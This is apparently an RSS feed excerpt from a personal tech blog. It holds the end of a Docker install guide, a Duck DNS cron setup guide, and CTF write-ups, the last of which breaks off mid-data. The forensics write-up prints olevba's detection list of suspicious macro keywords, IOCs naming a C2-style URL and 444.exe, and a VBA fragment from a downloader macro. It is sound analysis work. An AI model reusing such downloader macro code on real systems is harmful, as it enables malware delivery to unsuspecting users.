&lt;p&gt;Most current Linux distributions (RHEL, CentOS, Fedora, Debian, Ubuntu 16.04 and higher) use &lt;code&gt;systemd&lt;/code&gt; to manage which services start when the system boots. On Debian and Ubuntu, the Docker service is configured to start on boot by default.&lt;/p&gt;
&lt;p&gt;To automatically start Docker and Containerd on boot for other distros, use the commands below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl enable docker.service
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl enable containerd.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To disable this behavior, use &lt;code&gt;disable&lt;/code&gt; instead:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl disable docker.service
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl disable containerd.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="uninstall"&gt;
Uninstall
&lt;a href="#uninstall" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="uninstall-docker-engine"&gt;
Uninstall Docker Engine
&lt;a href="#uninstall-docker-engine" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Uninstall the Docker Engine, CLI, and Containerd packages:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get purge docker-ce docker-ce-cli containerd.io
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Images, containers, volumes, or customized configuration files on your host are not automatically removed. To delete all images, containers, and volumes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo rm -rf /var/lib/docker
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo rm -rf /var/lib/containerd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.docker.com/engine/install/ubuntu/"&gt;Docker - Install Docker Engine on Ubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.docker.com/engine/install/linux-postinstall/"&gt;Docker - Post-installation steps for Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Duck DNS Configure</title><link>https://thanoskoutr.com/posts/duckdns-configure/</link><pubDate>Thu, 10 Jun 2021 02:26:20 +0300</pubDate><guid>https://thanoskoutr.com/posts/duckdns-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/duckdns.png"/&gt;
&lt;p&gt;Duck DNS is a free dynamic DNS hosted on AWS, that we can use to get a free domain name. There a lot of free Dynamic DNS services, &lt;a href="https://www.gnutomorrow.com/best-free-dynamic-dns-services/"&gt;you can find a good comprehensive of them here&lt;/a&gt; as well as &lt;a href="https://thanoskoutr.com/posts/noip2-install-and-service-commands/"&gt;No-IP&lt;/a&gt; that we already have a guide, but Duck DNS is dead simple and has instructions for how to configure on every possible platform or system.&lt;/p&gt;
&lt;p&gt;The only negative for this service is the limited subdomains that we can choose from. Because we can only choose a &lt;code&gt;*.duckdns.org&lt;/code&gt; subdomain, if for example &lt;code&gt;hobbit.duckdns.org&lt;/code&gt; is not available we will have to choose a different subdomain. This is not true for all dynamic DNS services, as we could keep the &lt;code&gt;hobbit&lt;/code&gt; subdomain and change the host name to some other free one.&lt;/p&gt;
&lt;p&gt;In this post, we will see how we can set up Duck DNS on a linux machine in order to point a subdomain (&lt;code&gt;subdomain.duckdns.org&lt;/code&gt;) to our dynamic IP provided by the ISP or even to a static IP for our VPS that we have from a service like Digital Ocean, AWS, Linode, etc.&lt;/p&gt;
&lt;h2 id="for-dynamic-ip"&gt;
For Dynamic IP
&lt;a href="#for-dynamic-ip" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The following instructions are mostly for using Duck DNS for a system in our home, where we don&amp;rsquo;t have a static IP address from our ISP, and we want to bind our public dynamic IP to a free domain.&lt;/p&gt;
&lt;h3 id="prerequisites"&gt;
Prerequisites
&lt;a href="#prerequisites" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Sign in with your preferred method at the &lt;a href="https://www.duckdns.org"&gt;Duck DNS website&lt;/a&gt; in order to add a new domain and create a token for your account. For our guide we will pick the &lt;code&gt;mordor.duckdns.org&lt;/code&gt; domain.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make sure your linux install is running a &lt;code&gt;crontab&lt;/code&gt;. You can check it with this command:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ps -ef | grep cr&lt;span style="color:#f92672"&gt;[&lt;/span&gt;o&lt;span style="color:#f92672"&gt;]&lt;/span&gt;n
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Make sure you have &lt;code&gt;curl&lt;/code&gt; installed. You can check it with this command:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="create-duckdns-script"&gt;
Create duckdns script
&lt;a href="#create-duckdns-script" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Create a directory to put your files in, move into it and make the main script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir duckdns
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd duckdns
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim duck.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now copy the following text into the file and change your &lt;code&gt;DOMAIN&lt;/code&gt;, &lt;code&gt;TOKEN&lt;/code&gt; to be the one you want to update and save the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DOMAIN&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;mordor&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TOKEN&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;a7c4d0ad-114e-40ef-ba1d-d217904a50f2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -k -o ~/duckdns/duck.log &lt;span style="color:#e6db74"&gt;&amp;#34;https://www.duckdns.org/update?domains=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;DOMAIN&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;amp;token=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TOKEN&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;You can hard code an IP, but is best to leave it blank and let duckdns detect it).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This script will make a https request and log the output in the file &lt;code&gt;duck.log&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Make the file executable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod &lt;span style="color:#ae81ff"&gt;700&lt;/span&gt; duck.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="test-script"&gt;
Test script
&lt;a href="#test-script" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If we run the script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./duck.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and open the log file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat duck.log
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;we should see an &lt;code&gt;OK&lt;/code&gt; response. If we see an &lt;code&gt;KO&lt;/code&gt; response something is wrong and you should check that the Token and Domain are correct in the &lt;code&gt;duck.sh&lt;/code&gt; script.&lt;/p&gt;
&lt;h3 id="create-a-cron-process"&gt;
Create a cron process
&lt;a href="#create-a-cron-process" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We will be using the &lt;code&gt;cron&lt;/code&gt; process to make the script get run every 5 minutes. Open &lt;code&gt;crontab&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crontab -e
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and paste the following text at the end of the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;*/5 * * * * ~/duckdns/duck.sh &amp;gt;/dev/null 2&amp;gt;&amp;amp;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will run the script every 5 minutes and ignore the output.&lt;/p&gt;
&lt;h2 id="for-static-ip"&gt;
For Static IP
&lt;a href="#for-static-ip" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The following simple instructions are mostly for using Duck DNS as a DNS registrar, in order to bind our static IP address that we have from some provider for our server to a free domain.&lt;/p&gt;
&lt;h3 id="prerequisites-1"&gt;
Prerequisites
&lt;a href="#prerequisites-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Sign in with your preferred method at the &lt;a href="https://www.duckdns.org"&gt;Duck DNS website&lt;/a&gt; in order to add a new domain and create a token for your account. For our guide we will pick the &lt;code&gt;mordor.duckdns.org&lt;/code&gt; domain.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Find your static IP address for your server. It does not matter the type of system or server you have, as long your VPS provider has given you an IP address to access it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="bind-ip"&gt;
Bind IP
&lt;a href="#bind-ip" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;After you have signed in, and chose a free domain, you just have to enter your static IPv4 address to the &lt;strong&gt;current ip&lt;/strong&gt; field and your static IPv6 address to the &lt;strong&gt;ipv6&lt;/strong&gt; field and press the &lt;strong&gt;update ip&lt;/strong&gt; and &lt;strong&gt;update ipv6&lt;/strong&gt; buttons.&lt;/p&gt;
&lt;p&gt;For example, for random IPv4 and IPv6 addresses:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: center"&gt;domain&lt;/th&gt;
&lt;th style="text-align: center"&gt;current ip&lt;/th&gt;
&lt;th style="text-align: center"&gt;ipv6&lt;/th&gt;
&lt;th style="text-align: center"&gt;changed&lt;/th&gt;
&lt;th style="text-align: center"&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;&lt;code&gt;mordor&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: center"&gt;&lt;code&gt;1.1.1.1&lt;/code&gt; &lt;strong&gt;update ip&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: center"&gt;&lt;code&gt;1:1:1:1:1:1:1:1&lt;/code&gt; &lt;strong&gt;update ipv6&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: center"&gt;1 minute ago&lt;/td&gt;
&lt;td style="text-align: center"&gt;&lt;strong&gt;delete domain&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;After this, you should be able to access your server with the domain you created (&lt;code&gt;mordor.duckdns.org&lt;/code&gt; for us), either with SSH or in the browser if you have a web server running.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.duckdns.org/install.jsp"&gt;Duck DNS - Install linux cron&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.duckdns.org/spec.jsp"&gt;Duck DNS - HTTP API Specification&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ECSC CTF 2021 - User Manual</title><link>https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/user-manual/</link><pubDate>Tue, 25 May 2021 00:14:57 +0300</pubDate><guid>https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/user-manual/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/ecsc-ctf-2021.png"/&gt;
&lt;h1 id="forensics-1---user-manual"&gt;
Forensics 1 - user manual
&lt;a href="#forensics-1---user-manual" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="challenge-description"&gt;
Challenge Description
&lt;a href="#challenge-description" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Recently I bought a custom made video game from a totally legit salesman under a dark bridge. There was a user manual alongside, but I can not see the contents of it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;This challenge has a downloadable part.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="steps"&gt;
Steps
&lt;a href="#steps" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Unzip challenge files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip forensics_user_manual
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We get a file &lt;code&gt;user_manual.docm&lt;/code&gt;, which is a word document file with macros.&lt;/p&gt;
&lt;h3 id="unzip-docm-file"&gt;
Unzip docm file
&lt;a href="#unzip-docm-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Our first try was to unzip the &lt;code&gt;.docm&lt;/code&gt; file to see the &lt;code&gt;xml&lt;/code&gt; files that is composed of, but in the end it was not needed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip user_manual.docm -d user_manual
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="view-docm-file"&gt;
View docm file
&lt;a href="#view-docm-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We can view the code directly from Macros page of &lt;strong&gt;Microsoft Word&lt;/strong&gt; or &lt;strong&gt;Libre Office writer&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We can also use a python tool that analyzes doc files, but again it was not needed for this challenge but definitely helpful:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo -H pip3 install -U oletools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we run the &lt;code&gt;olevba&lt;/code&gt; tool we can see the Visual Basic macros in the document and some useful info:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;olevba user_manual.docm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At the end of the run, after the scripts we get a lot of suspicious warnings:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |AutoOpen |Runs when the Word document is opened |
|AutoExec |Auto_Open |Runs when the Excel Workbook is opened |
|AutoExec |Workbook_Open |Runs when the Excel Workbook is opened |
|Suspicious|Environ |May read system environment variables |
|Suspicious|Open |May open a file |
|Suspicious|Write |May write to a file (if combined with Open) |
|Suspicious|Output |May write to a file (if combined with Open) |
|Suspicious|Print # |May write to a file (if combined with Open) |
|Suspicious|Kill |May delete a file |
|Suspicious|ADODB.Stream |May create a text file |
|Suspicious|SaveToFile |May create a text file |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|vbNormal |May run an executable file or a system |
| | |command |
|Suspicious|WScript.Shell |May run an executable file or a system |
| | |command |
|Suspicious|Create |May execute file or a system command through |
| | |WMI |
|Suspicious|CreateObject |May create an OLE object |
|Suspicious|GetObject |May get an OLE object with a running instance|
|Suspicious|Windows |May enumerate application windows (if |
| | |combined with Shell.Application object) |
|Suspicious|User-Agent |May download files from the Internet |
|Suspicious|Chr |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|system |May run an executable file or a system |
| | |command on a Mac (if combined with |
| | |libc.dylib) |
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|IOC |https://ccserver.com|URL |
| |/ECSC | |
|IOC |1.1.2.2 |IPv4 address |
|IOC |444.exe |Executable file name |
+----------+--------------------+---------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can now inspect the scripts code. We can save the script in a &lt;code&gt;.vbs&lt;/code&gt; file in order to view it in a text editor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;olevba user_manual.docm &amp;gt; user_manual_olevba.vbs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inside the &lt;code&gt;h()&lt;/code&gt; procedure we notice the following part:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-vb" data-lang="vb"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; str &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;https://ccserver.com/ECSC{&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; Chr(68) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;o&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; Chr(Asc(&lt;span style="color:#e6db74"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;nl&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; Chr(48)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sec &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Replace(&lt;span style="color:#e6db74"&gt;&amp;#34;ed_det_ju1cy_b1n}/bin&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;e&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;a&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That is the sign of the flag. If we replace the ascii characters and do all the concatenations and replaces we get the following link:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://ccserver.com/ECSC&lt;span style="color:#f92672"&gt;{&lt;/span&gt;Downl0ad_dat_ju1cy_b1n&lt;span style="color:#f92672"&gt;}&lt;/span&gt;/bin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is our flag.&lt;/p&gt;
&lt;h2 id="flag"&gt;
Flag
&lt;a href="#flag" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;ECSC{Downl0ad_dat_ju1cy_b1n}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="resources"&gt;
Resources
&lt;a href="#resources" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/decalage2/oletools"&gt;Python oletools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://book.hacktricks.xyz/forensics/basic-forensics-esp/office-file-analysis"&gt;Office file analysis&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ECSC CTF 2021 - Serial</title><link>https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/serial/</link><pubDate>Tue, 25 May 2021 00:12:51 +0300</pubDate><guid>https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/serial/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/ecsc-ctf-2021.png"/&gt;
&lt;h1 id="hardware-1---serial"&gt;
Hardware 1 - Serial
&lt;a href="#hardware-1---serial" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="challenge-description"&gt;
Challenge Description
&lt;a href="#challenge-description" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;We managed to eavesdrop on the serial communication of an Arduino-based door locks debugging interface. Can you find the password?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;This challenge has a downloadable part.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="steps"&gt;
Steps
&lt;a href="#steps" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Unzip challenge files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip hw_serial.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We get a file &lt;code&gt;signal.txt&lt;/code&gt;, which is the debugging dump of the arduino-based door lock. As we get from the challenge description the file will contain the Serial binary data that we have received from the Arduino. The serial protocol used is UART.&lt;/p&gt;
&lt;p&gt;If we &lt;code&gt;cat&lt;/code&gt; its output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat signal.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111101010001010110000101011001010101100001010110111101010101100101100110010010011001010001100100010110010100011001011111010101100011010000011001010110110101011011010101011101001110110101000110010110001101000101100101110110010100011001000001100100111011010111110101010001100101010110010111110101011001100100110111010110011001001001100101001111010111011101000010110101100110010010011001011001100101111101010100011001001110110101111101010110011001010110110100001110010110011001000100110100010011010110011001000100110101000010010100001001000100110101010110010010011001010111110111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111